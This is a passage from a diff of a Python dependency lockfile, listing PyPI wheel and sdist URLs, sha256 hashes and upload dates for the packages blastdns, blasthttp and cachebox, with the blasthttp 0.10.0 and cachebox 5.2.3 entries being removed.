"https://files.pythonhosted.org/packages/ee/74/276d8424205d2239384d256fa5593c18b521df22f76f4d948cccd35e65a6/blastdns-2.0.3-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:7d985725cb8a0149c704573a994a34f40ed68ab9eeb78ffcf85a67a8d803c4d4", size = 2991190, upload-time = "2026-11-05T18:49:23.176Z" }, + { url = "https://files.pythonhosted.org/packages/2a/97/e0248ad755be1478a9fd59e91b686c5265d91b56c2fdbb9b22433ea68404/blastdns-2.0.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:00d2eb1ebb23f57595f5382f7534af9110fd59269520d4ecc0be37a9c98e54cd", size = 2993785, upload-time = "2026-11-05T18:49:24.864Z" }, + { url = "https://files.pythonhosted.org/packages/dd/fe/f4a4db772025ab0b9464b0f94f36a0d63e40df6d6c346773c2f9e0fac5ee/blastdns-2.0.3-cp315-cp315-win32.whl", hash = "sha256:4cd524eedf99193092a989dfff2f93974f4f3c4f62c08e09c7ca2cf1e15b8738", size = 2432588, upload-time = "2026-11-05T18:49:26.654Z" }, + { url = "https://files.pythonhosted.org/packages/eb/12/f9f48b805db5e3b835ab2802a3899a277b76a7e7a9b5671d3369e535ed1e/blastdns-2.0.3-cp315-cp315-win_amd64.whl", hash = "sha256:1ab370a86cd719e03c2e4bab75897768e9f5c845c219fe1ee3f4096aee7e5f66", size = 2934795, upload-time = "2026-11-05T18:49:28.459Z" }, ] [[package]] name = "blasthttp" -version = "0.10.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d6/ed/69b881bd12b81db517d0b0483a89827a656165c854bed80dc6a35fb9d3f7/blasthttp-0.10.0.tar.gz", hash = "sha256:5034eac464c5306695f54a43468eb93aaa9abd366ae142320b72b9b7e7bd5bdb", size = 197871, upload-time = "2026-08-21T01:13:33.23Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/99/fd/0bb881534e98cc23ad48142de9b7809de277ac3f2408a82cfa8fac3f1802/blasthttp-0.10.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:795043ed1d05d82efaea83fb99df8e088001ab1c7a0e330a36dd043b09c640d8", size = 5180452, upload-time = "2026-08-21T01:12:00.997Z" }, - { url = "https://files.pythonhosted.org/packages/01/6e/0ef864d61f28d8ecb21119b37fd53c2c549be1eff3f0e66a88d90be46b24/blasthttp-0.10.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:27c4aca2815780d9729c06206ea262ad220d01fc55c4850bf56438b443563a09", size = 4453694, upload-time = "2026-08-21T01:12:10.227Z" }, - { url = "https://files.pythonhosted.org/packages/9e/9a/c97c82a9bc874dc411ee08f7c356e0b2f6ce4a749c6001653cb71bf3e109/blasthttp-0.10.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:8ee7b571fe653e1dfb9171924bd9cbd40f60d3866b8ffb1a2df8ac265db281d6", size = 5113660, upload-time = "2026-08-21T01:12:37.52Z" }, - { url = "https://files.pythonhosted.org/packages/c8/87/488c6510babc6bb114c2818f7cfe5995d558e6e32611c55005adc542770d/blasthttp-0.10.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:7db11e0b6d6798ab0b8592493018dce1fcedb6e560329ed2546dc18bd99576e5", size = 5116953, upload-time = "2026-08-21T01:12:19.938Z" }, - { url = "https://files.pythonhosted.org/packages/87/6f/4bd88dfe34c17d7d1ea9252d5bb86931ea5585fe9a0b17fce255099cdd7a/blasthttp-0.10.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:abd4a3fd3b4e1a4da533ffcb1ac5902d202ab7338e2f2daa78e673b74b32a634", size = 4702585, upload-time = "2026-08-21T01:12:28.821Z" }, - { url = "https://files.pythonhosted.org/packages/ab/45/ba7bf4b29f7c0a9f440c89cd2400ecff27470569c72560389e05f528e008/blasthttp-0.10.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:e2b86eaac153015cadaf09e0f6343cb1e9bb81d937b739aba80bd21b8fb2d492", size = 4776884, upload-time = "2026-08-21T01:12:46.823Z" }, - { url = "https://files.pythonhosted.org/packages/21/9f/986454aa812aadc37647b999fb01404b3c1eb497088da82372ba535762c4/blasthttp-0.10.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:91a84b2ef79b92f0fe845d2d21faef28c2e65144b25b05065a20c5d767bfa1f0", size = 5469484, upload-time = "2026-08-21T01:12:55.822Z" }, - { url = "https://files.pythonhosted.org/packages/4d/b7/5792e51ea9fbdc30a83777cfc3b2381b644ce6511b1792dcd726f8de8647/blasthttp-0.10.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:1ec041e171778d4fb4958a9de93333708a830353082aa0346bc7cff5f5c015d2", size = 4756525, upload-time = "2026-08-21T01:13:05.616Z" }, - { url = "https://files.pythonhosted.org/packages/59/a0/81e6f40a31f8e846622650e46f62b96a4b188d5227ac7b80964e9b504aba/blasthttp-0.10.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:cdd484ae9380c0c18184ab035c4b0a174d760170af3bab264af05c35f58254c0", size = 5244388, upload-time = "2026-08-21T01:13:14.66Z" }, - { url = "https://files.pythonhosted.org/packages/27/79/0c286b784170cf297c3e7ed3e287e9298d27aaa38acbdc1a1e210f09661b/blasthttp-0.10.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d639241a6a5f9b345af96c481fefee77a6bab4b6c240dd8984bfef059c325522", size = 5178642, upload-time = "2026-08-21T01:13:24.251Z" }, - { url = "https://files.pythonhosted.org/packages/f0/e8/814691f977367025a05dde70bca48350d19d036842c6d65b5dd4b53b2822/blasthttp-0.10.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:3c8ef6fbc65ae4244cdaf486d0f8db8da038b295f059c6b3d46a81e02b99f55c", size = 5177417, upload-time = "2026-08-21T01:12:02.752Z" }, - { url = "https://files.pythonhosted.org/packages/d1/de/e88eb7bdbb124e66c946059995511d99e00f8124ec97ec910353b6213b70/blasthttp-0.10.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:c66cc2457bdf3baa2386ef707dfea9f82e59b38aa48813caab68d6aef2a4f731", size = 4451480, upload-time = "2026-08-21T01:12:11.824Z" }, - { url = "https://files.pythonhosted.org/packages/80/a0/f2e41f2621e5887bca46cac8436d70d4b0aa7ef38d73ccff349e448f7012/blasthttp-0.10.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:0c3fe2cfcd779bf9c18343802fce7099c4eefd45114c5521d9109f96b021fee1", size = 5111096, upload-time = "2026-08-21T01:12:39.351Z" }, - { url = "https://files.pythonhosted.org/packages/e4/b4/877fab26e0f7990d31a449cecc33cf9c0aaa8a38e34cb67a78943acffeb9/blasthttp-0.10.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:e060ff698d20d6a4c2d6e4a1c7a8810c0fb4d3ba08df64309ca89287668ec3a1", size = 5114165, upload-time = "2026-08-21T01:12:21.802Z" }, - { url = "https://files.pythonhosted.org/packages/bf/82/8a4835a0962d4dedc054458c008fc04171b0320168a4b1204f7fc8d6893a/blasthttp-0.10.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:da782d4f8a698a14d4c3b892100cf67bf81a59b00e7412b335a0206152ccb88f", size = 4699079, upload-time = "2026-08-21T01:12:30.769Z" }, - { url = "https://files.pythonhosted.org/packages/a6/73/e2c254e46420968fd17388c36257b9231a2f7612fef66f8244f2613898ff/blasthttp-0.10.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:6af8a85127b066a0a7bf37fdbb3eaf24ac9df31c633eb22316151cf0d8b79bc5", size = 4773946, upload-time = "2026-08-21T01:12:48.525Z" }, - { url = "https://files.pythonhosted.org/packages/74/0a/3e88451f280ccfc4fc44770fcfab4f27d7d205970dd55f65be58f24ca9b8/blasthttp-0.10.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2df69bd5b38195c32d13e547c54746bb32b2cb3414a75efc2e62102c96470df8", size = 5467773, upload-time = "2026-08-21T01:12:57.554Z" }, - { url = "https://files.pythonhosted.org/packages/d5/53/193dfad6ff3a28586e98118c05163aab7b98a217b4bb58faa882693ca057/blasthttp-0.10.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:1d7512815689a29ab162bdb1a761a32d5a784792feae7158779cd28a47e1d85f", size = 4751657, upload-time = "2026-08-21T01:13:07.821Z" }, - { url = "https://files.pythonhosted.org/packages/0b/78/5619cb02d91cdb453362d99a5d46b19d49596cceb067063c31d812c4b207/blasthttp-0.10.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:dbc213b573d09bdce3fb59db3be659db4a0203b3097fca147bda7070328b8b70", size = 5242018, upload-time = "2026-08-21T01:13:16.663Z" }, - { url = "https://files.pythonhosted.org/packages/24/df/ff4351ba71298be0ff4ab14b12bdb9de459b5b47d4adc9b61314e74465ed/blasthttp-0.10.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b36800fbd164534b12607e03137010e2eec9b5b24f41c601ba6d11784af70987", size = 5175705, upload-time = "2026-08-21T01:13:26.134Z" }, - { url = "https://files.pythonhosted.org/packages/be/c2/5dce28e3b54f50683e6dce9c07fabf09d1187fbe65913bd7846583b35ccc/blasthttp-0.10.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:41d5cdbca172170474ff7041b6db53faf608d285a41a886a606abffd6ee291c2", size = 5183670, upload-time = "2026-08-21T01:12:04.665Z" }, - { url = "https://files.pythonhosted.org/packages/ca/89/5b8f47a2a4840a15d888fa44edf596e6e10ad1f0c3f85d21a47580ece937/blasthttp-0.10.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:f23e23b5af5d373c28a7360aa522d38547964657d4e7238e1f541914dc5d252d", size = 4446981, upload-time = "2026-08-21T01:12:14.063Z" }, - { url = "https://files.pythonhosted.org/packages/e9/59/45d42d11158c1128cfbbd438c8f51d86327bc0eb4938fa4e98dfd2f8713b/blasthttp-0.10.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:b21619250ec3024f6faa1ae3caa9ecfffb8ef5cbb378f86dfa4dfebe622b20d5", size = 5104261, upload-time = "2026-08-21T01:12:41.523Z" }, - { url = "https://files.pythonhosted.org/packages/84/20/12d5341c2d5197bb0fbdd8fa52bd2709c204516112341aed5879a3b629a9/blasthttp-0.10.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:d285dc0bacae184a0b63778c4e970f851afa8e55ee133243c92c0c744566fc8a", size = 5109026, upload-time = "2026-08-21T01:12:23.641Z" }, - { url = "https://files.pythonhosted.org/packages/f4/5a/38254e928da498bbd938758b8c24748e9596919f0c7b1bd705fa57c5066b/blasthttp-0.10.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:194b70d5f69132d8749872df11e8b58f360106a47a5df8c5c8a302e7d9a1c473", size = 4704628, upload-time = "2026-08-21T01:12:32.437Z" }, - { url = "https://files.pythonhosted.org/packages/fb/16/166b41741cd246f78656c78fdeb2b58ffc0ce3959784479ddf6f3c476bbb/blasthttp-0.10.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:fdb4e3b6eadd0d7fae827cc9652d80069b93c56449481b1ddc2643d665d5b370", size = 4774577, upload-time = "2026-08-21T01:12:50.19Z" }, - { url = "https://files.pythonhosted.org/packages/c4/a1/ee39c9f7b0f923ba27fe8b12993f2dca552da51e5e37a3c890cd31fd6214/blasthttp-0.10.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5cc485c2e3ee3159e3d5ee06b1dc8fa11321403a0251988889a9a7959c6355fd", size = 5472222, upload-time = "2026-08-21T01:12:59.312Z" }, - { url = "https://files.pythonhosted.org/packages/61/a3/4ffa17caf2f74f0039cc08fa898f0710f321b0d41d706ff45f622752d858/blasthttp-0.10.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5abf57b96d2041eca20145a5f6abb930008646d1f757a3bc24172c0788a231da", size = 4747038, upload-time = "2026-08-21T01:13:09.508Z" }, - { url = "https://files.pythonhosted.org/packages/84/c8/ea76e9c7ae571ac80241ba731ea727cbb3c0ab1c6a4110b87b7c3229a61b/blasthttp-0.10.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:197638ebbc4c6473ca9dd6bdfd203c932be61f780b702e268278b173167596ae", size = 5234388, upload-time = "2026-08-21T01:13:18.587Z" }, - { url = "https://files.pythonhosted.org/packages/7c/37/1b3d83bc41f2dd60f232d82dee0b0823b7b3270bd2b63ab35c784a5899c5/blasthttp-0.10.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dbe784a57466a3b1cbeb94e638f17d5e08883aef366d5da10d82066c27ed02e6", size = 5175493, upload-time = "2026-08-21T01:13:27.846Z" }, - { url = "https://files.pythonhosted.org/packages/84/aa/1d543053d7e294e6ca6c23f0890d6dfc07a39d1235de546533882d193f1d/blasthttp-0.10.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:71d217144bbdcc4571cc0203669666a7501af5fc786f42166e59ae3b8731cfcb", size = 5182057, upload-time = "2026-08-21T01:12:06.522Z" }, - { url = "https://files.pythonhosted.org/packages/d3/01/e4237f45c250659a06fdf9a3984b536127a783bf28275349ef484e659295/blasthttp-0.10.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:b9886139baa78d9e52229fab929e70b6da0b59b26edab28f6c3d161afec12dae", size = 4446646, upload-time = "2026-08-21T01:12:15.735Z" }, - { url = "https://files.pythonhosted.org/packages/97/74/5b84758be4cc911556e5743190e32a1d28550ff8d2dbc0eefcee2aa0c2c8/blasthttp-0.10.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:39f10851915c68ab18c90a92f1fee9f7127371a23782596a1ef13be8b8c466b3", size = 5106500, upload-time = "2026-08-21T01:12:43.344Z" }, - { url = "https://files.pythonhosted.org/packages/c4/32/64a92d81c58c6aaa0a97c68dab2cd4f2c9ec255d8b5047ae3a3cd91c9137/blasthttp-0.10.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:f3ed768bba7343e6f57e733196f666448c87842aa08ff265a17226cf9cfb5133", size = 5112408, upload-time = "2026-08-21T01:12:25.27Z" }, - { url = "https://files.pythonhosted.org/packages/c0/6a/fde097ec18bde504ba3f154f7688fbe3a5ca84e990e78b1a240733b2b87d/blasthttp-0.10.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:88a829b70d27ad420dffd57ba7f5f8461a17db7ac1c65837f1bfb51e88266fd5", size = 4705903, upload-time = "2026-08-21T01:12:34.104Z" }, - { url = "https://files.pythonhosted.org/packages/7b/76/a46bb6ca8e1f5c86a53e626c114d52482be8e14e98685699850d305f1b49/blasthttp-0.10.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:48b05db28beaf8664e66269917a0a2bfa344ccb6f57b1aa1df63424323b6b02c", size = 4775015, upload-time = "2026-08-21T01:12:52.092Z" }, - { url = "https://files.pythonhosted.org/packages/cc/f4/57163f1409981735f8de633e9da2976da9d24de581e54eabadc19afb4243/blasthttp-0.10.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a9031d954fb32365f7198586836c8b6257ddd37d8f9d2a7071709426c6eb29c6", size = 5473056, upload-time = "2026-08-21T01:13:01.688Z" }, - { url = "https://files.pythonhosted.org/packages/f4/79/361350a2a64577ddc0346d87a0b35164619310a1c89c294f535cbd1ef05d/blasthttp-0.10.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:84bde21e5344080a82eabea7ba92402ff82acb34f6f29beee0a6d5f6500589bf", size = 4746573, upload-time = "2026-08-21T01:13:11.268Z" }, - { url = "https://files.pythonhosted.org/packages/0d/8e/b3087e0575bd23f5beb68bab38038fafc0307afb20e19df6abf8288e4318/blasthttp-0.10.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d0168734e0daf8395edccedb217380910cee08e4e7beee1b22aca9154b93f3ab", size = 5234206, upload-time = "2026-08-21T01:13:20.534Z" }, - { url = "https://files.pythonhosted.org/packages/78/fb/dff9b205660061564bfb39a4324e48a9a68b049c6110825b1e9c6434ed2e/blasthttp-0.10.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:02ab3b76384b91080d0c81f5992cb07ae4219373d3439e4e2f57057c3db86092", size = 5176587, upload-time = "2026-08-21T01:13:29.688Z" }, - { url = "https://files.pythonhosted.org/packages/40/0d/7f8d2e91be8c4757135a7b31f1f227e754d0056359fa9b493dd54d0b2f24/blasthttp-0.10.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:e001b3a3d26287cfac9b313fdcc7847f38baf34c36e0bb8dff40e51d26475731", size = 5182433, upload-time = "2026-08-21T01:12:08.352Z" }, - { url = "https://files.pythonhosted.org/packages/19/a4/ca849bfb5e58ac512d31d1f0ad8a162b1fcfde176d9e071f3d7adb77d4f9/blasthttp-0.10.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:8c1d016dd94b14fcdbb1f349b1eb0d69dda57b8d668f16ff82ea96dff774bfc8", size = 4442455, upload-time = "2026-08-21T01:12:17.509Z" }, - { url = "https://files.pythonhosted.org/packages/0d/10/ccf917740cffe7b0bad36d5d5ed57e905cb334cd5618b26cba2b13363052/blasthttp-0.10.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:4f1169e4cc013e5a00e7150ce73105ef34beba5875ac2038b39ab5ca29a6c2ca", size = 5106391, upload-time = "2026-08-21T01:12:45.175Z" }, - { url = "https://files.pythonhosted.org/packages/a2/74/075f5c1e42e3b407ef3380b876aecb020e8bba1a0d5197d096fa1e16b9f7/blasthttp-0.10.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f14d55f45d9dadb256c29a1dcab2e810319e1ffab7250ff0572770916d684ce3", size = 5105862, upload-time = "2026-08-21T01:12:27.26Z" }, - { url = "https://files.pythonhosted.org/packages/9b/4f/941b71252cb653563e3b1c24d00607f90e76b8d0f959fedbbd96552902cb/blasthttp-0.10.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:4c8aa5750e3b77c2027555bc4780b3a939b5dc4ac801468f1463e1779f25c969", size = 4702116, upload-time = "2026-08-21T01:12:35.793Z" }, - { url = "https://files.pythonhosted.org/packages/bc/1e/2a90ac2a677cb1857e609b3a0c38fd8a7fba75f75f6e2d3628911ad3cd94/blasthttp-0.10.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:d258769eb7d13436e1e11f079da7218d7596eb9cd2c63ab871533685b9000aa4", size = 4771943, upload-time = "2026-08-21T01:12:53.981Z" }, - { url = "https://files.pythonhosted.org/packages/6c/4b/e86d8fbbdc8a2a222d3f293db0c864746510b87708f2092f8bc97b1dbfc1/blasthttp-0.10.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c63b26e9973125840210e1f15e42a639c5b24cc8c6bce9a742829ff18d2f5f01", size = 5471373, upload-time = "2026-08-21T01:13:03.736Z" }, - { url = "https://files.pythonhosted.org/packages/19/be/d7fb36ae804d9a0aa9cb71c7f8ddfcf6feda374da6ba7a81d2b54c81d4f4/blasthttp-0.10.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d042e4647e916084387be24e13aaaec2cd9147cad5cb2808f433b36697c1afb5", size = 4744786, upload-time = "2026-08-21T01:13:12.985Z" }, - { url = "https://files.pythonhosted.org/packages/3c/5e/d795201debaa9f34d5eb7bf2ca2e300d1714ea8b4f5e88c1f4488b0d120e/blasthttp-0.10.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c2618ab698285f831dbb0828b12945bfb9edc8e5314c9563f9ef63dd2a765061", size = 5235909, upload-time = "2026-08-21T01:13:22.208Z" }, - { url = "https://files.pythonhosted.org/packages/92/3c/f9a0391ff3d0df1d4c2d51aa4464f333c6cfd4ac82af71fba6b6f0184689/blasthttp-0.10.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4d4b777d5b20a36ff619525f4442a3851d7cc2a64917a04fe11d9df736fa55f1", size = 5175841, upload-time = "2026-08-21T01:13:31.755Z" }, -] - -[[package]] -name = "cachebox" -version = "5.2.3" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/36/f6/85f176d2518cf1d1be5f981fc2dadf6b131e33fefd721f36b330e3434d6c/cachebox-5.2.3.tar.gz", hash = "sha256:b1f68246685aa739bbbd2734befb1465363a1e1042407c154feadb065f17a099", size = 63686, upload-time = "2026-04-10T12:21:35.028Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/13/9e/88193fcb7a2a43fe8ed9d9888374d43fa5c7176aa802651e68b28f1aee4a/cachebox-5.2.3-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:c2c89720547271d36e10cad2c7302bbe11f46eb39eead0a2c321c2d371b8f8b6", size = 374393, upload-time = "2026-04-10T12:20:20.424Z" }, - { url = "https://files.pythonhosted.org/packages/98/8d/e0b13d9bfd43f295cce7824ebaac1970f818a7027c16f290de404934cafe/cachebox-5.2.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e7f33d24e90dc8aa26762e25898c91a1223b66685420a28a3628fa2e006924f5", size = 356318, upload-time = "2026-04-10T12:20:07.518Z" }, - { url = "https://files.pythonhosted.org/packages/bc/02/8ae1b63dbdebb2ebf600523f48b54e9bfb10db5a28551c3432346f49e1dd/cachebox-5.2.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56cb03ec6289a2ac5daf7422d755683324f02d821bfa796087100df2a7ebd5de", size = 395782, upload-time = "2026-04-10T12:18:50.054Z" }, - { url = "https://files.pythonhosted.org/packages/e4/2f/79a8a0057f354581c25a1a00ddabbd5db4b8631d192670d7a0cc4271dbb7/cachebox-5.2.3-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a71a71df463ba4c86bc843fa01c3a2a721033adefad888af28c6b65e1915a75c", size = 353194, upload-time = "2026-04-10T12:19:03.083Z" }, - { url = "https://files.pythonhosted.org/packages/3b/57/a1fead35cf481432bd87def0653cd4a069b1ea5847589255795e49ae74b8/cachebox-5.2.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bbe4655371d19fc9f4f5874312bcb6e5b5b6182989979ac33d93c34c8d10c012", size = 371090, upload-time = "2026-04-10T12:19:16.019Z" }, - { url = "https://files.pythonhosted.org/packages/8c/58/53f1fab8bcc3238fd6c533ef3ab146097986a8acb722863c688a2410c1b2/cachebox-5.2.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4974476d1779961df89d6e6f79e6103a1659289d3ee11c92adcb52e236a8aaeb", size = 390902, upload-time = "2026-04-10T12:19:28.258Z" }, - { url = "https://files.pythonhosted.org/packages/11/2f/5abff74666f8388d2c9516c265f99c33484c827f7fcb3cd703c2f3cbb17e/cachebox-5.2.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad16d733219f4cab3eec6533af30ab7b9c919c6e3e22ad1ef4eb82629a62edef", size = 395855, upload-time = "2026-04-10T12:19:54.207Z" }, - { url = "https://files.pythonhosted.org/packages/dd/11/30b429db12ab5df663aa108bcfac42805f733da65b0bf452f60bfaf4a530/cachebox-5.2.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:12a9e0a93774ca2b3a9fe8a2a0d0812e399fac4af0fce6246a5bca1e7009b8fc", size = 425760, upload-time = "2026-04-10T12:19:41.138Z" }, - { url = "https://files.pythonhosted.org/packages/cd/b4/fdac1bb902b954c03d23eb301d645a328c9664caff5898930fdbd92fde80/cachebox-5.2.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:be89497a011eb7a638d13cc520244d77579c0f515b95bf759b3de0b90a015203", size = 564988, upload-time = "2026-04-10T12:20:34.673Z" }, - { url = "https://files.pythonhosted.org/packages/4e/63/76cd5405b0339f15bf86593258bf9bc5608f10a5e0fa6f37a282b42a6caa/cachebox-5.2.3-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd01fc0c1934cccb76493eb4b149a9232d299e5e0275f557adf875c3d25cec81", size = 669110, upload-time = "2026-04-10T12:20:49.039Z" }, - { url = "https://files.pythonhosted.org/packages/d9/bc/52d154aa0407bafce94d1d8d3ff27ca5e842f8311be43cfabdefcbb0f6b7/cachebox-5.2.3-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:a0dfd97b0968f8bd48c33098a03d10f797964559c3a437c84bf97a9973545714", size = 643768, upload-time = "2026-04-10T12:21:04.095Z" }, - { url = "https://files.pythonhosted.org/packages/51/d9/82627eb8cecaf5e7e601bbc65d474a1c3053a2fbc21618ddc6aac19c47dc/cachebox-5.2.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:223ccf7ac60f595def258e7bc74c0b1d6f43991c9cae6d06749c803d22786d99", size = 610047, upload-time = "2026-04-10T12:21:19.469Z" }, - { url = "https://files.pythonhosted.org/packages/6e/2e/cc5b303746418fde00c93ddbc295733b4e2d131d2e8f5afbc6f45f50454e/cachebox-5.2.3-cp310-cp310-win32.whl", hash = "sha256:745b805fdd99931c3ce1d87d2ee21ca3fb62cba6b4e1f674907af87aad73dce4", size = 275529, upload-time = "2026-04-10T12:21:49.84Z" }, - { url = "https://files.pythonhosted.org/packages/31/72/fb10d6f779d041f701b89f0b7830329f51d1846fbc600869f9f7d635b7b5/cachebox-5.2.3-cp310-cp310-win_amd64.whl", hash = "sha256:a87b19c0a3d8d665a9805b5b4afd64b40082395b70ebe2756131ed1edb0c8f02", size = 287988, upload-time = "2026-04-10T12:21:36.41Z" }, - { url = "https://files.pythonhosted.org/packages/81/88/154179d492f2c000fe6efab3c3ff6b8eb94fbfaa09efe47999bce6b1e29f/cachebox-5.2.3-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:996f49d04b234082530afcc650bdd00556afbebc19c6c0daaafb85950340cb3c", size = 374245, upload-time = "2026-04-10T12:20:22.042Z" }, - { url = "https://files.pythonhosted.org/packages/7d/9d/3b03f2e063161bcb1a5e0969d521b5c622c2da02252a5c8bd4ef0e4f9914/cachebox-5.2.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:23a3300ebbb526fa12ce6fa53699002f5fba6da23b4bbbaf8ba8b18a3f03e6b3", size = 356308, upload-time = "2026-04-10T12:20:09.149Z" }, - { url = "https://files.pythonhosted.org/packages/bb/9b/8da38af731e3832e9f987548e4bfb610d7f3054019e12c44a94ba9272b37/cachebox-5.2.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79c63ee1589364caa04c018405e625d2e44e0bf9994f2715b2f322075d8c45b6", size = 395666, upload-time = "2026-04-10T12:18:51.89Z" }, - { url = "https://files.pythonhosted.org/packages/01/dd/1522aa808f94c904c5eb3640991799fed14dd43c1dd99a9f7b71bd95b1e3/cachebox-5.2.3-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ebd0f8d4ebc3943c1ddcbbdc54f1a8ddf95505c862ed5731319cebd1eb98ae41", size = 353362, upload-time = "2026-04-10T12:19:04.536Z" }, - { url = "https://files.pythonhosted.org/packages/dd/52/95bf883ec9b69a76f3a7d9fb14d015d9a4bdab0143a3eff62ceebc8b1419/cachebox-5.2.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:569966efcc6309aa7d774443e3513cdbb8671efae0158138ba2ebb7d8cc9d8ed", size = 371007, upload-time = "2026-04-10T12:19:17.484Z" }, - { url = "https://files.pythonhosted.org/packages/4b/3d/cc02066d5ccfcb8b35adbaf867977fdb54572cda56ace56da396f0caa3bf/cachebox-5.2.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5774d06f0da37dd566239a4376d6ca8cf983d3e4c3228712ec22b4130f662f21", size = 390670, upload-time = "2026-04-10T12:19:29.685Z" }, - { url = "https://files.pythonhosted.org/packages/b3/50/8e4d59b3e344405d8393d6cc5cc92754d3cc1d81134041ebffd3f5ab73e6/cachebox-5.2.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae5bf8755bc66bcf42e7ca5c42d703a041a7aaad58f9a0c3be54d5b1cefd2641", size = 395765, upload-time = "2026-04-10T12:19:56.169Z" }, - { url = "https://files.pythonhosted.org/packages/e5/d4/d731cff1c4cec22404bd3ddda05b233c5efaa5f13d7abf4e2728905b7cdd/cachebox-5.2.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:63f061cc6a5ca70bbce2e6be0588fe2fee00a93a1b0581b1086d54b10288cdb6", size = 425707, upload-time = "2026-04-10T12:19:42.714Z" }, - { url = "https://files.pythonhosted.org/packages/36/01/3ec8aadceb0dcc66dbd0b9b32966cf7b6928ed84471424c24d21b0af62d0/cachebox-5.2.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:577c781f18b559f4dc9eea176c6aed008843ef4b8e045cf61bb519e09dccc9ef", size = 564759, upload-time = "2026-04-10T12:20:36.268Z" }, - { url = "https://files.pythonhosted.org/packages/db/23/31cbc8623ecc2e25900f7e8f20f11bfb84786989a59a8046e70b27cbea6d/cachebox-5.2.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = 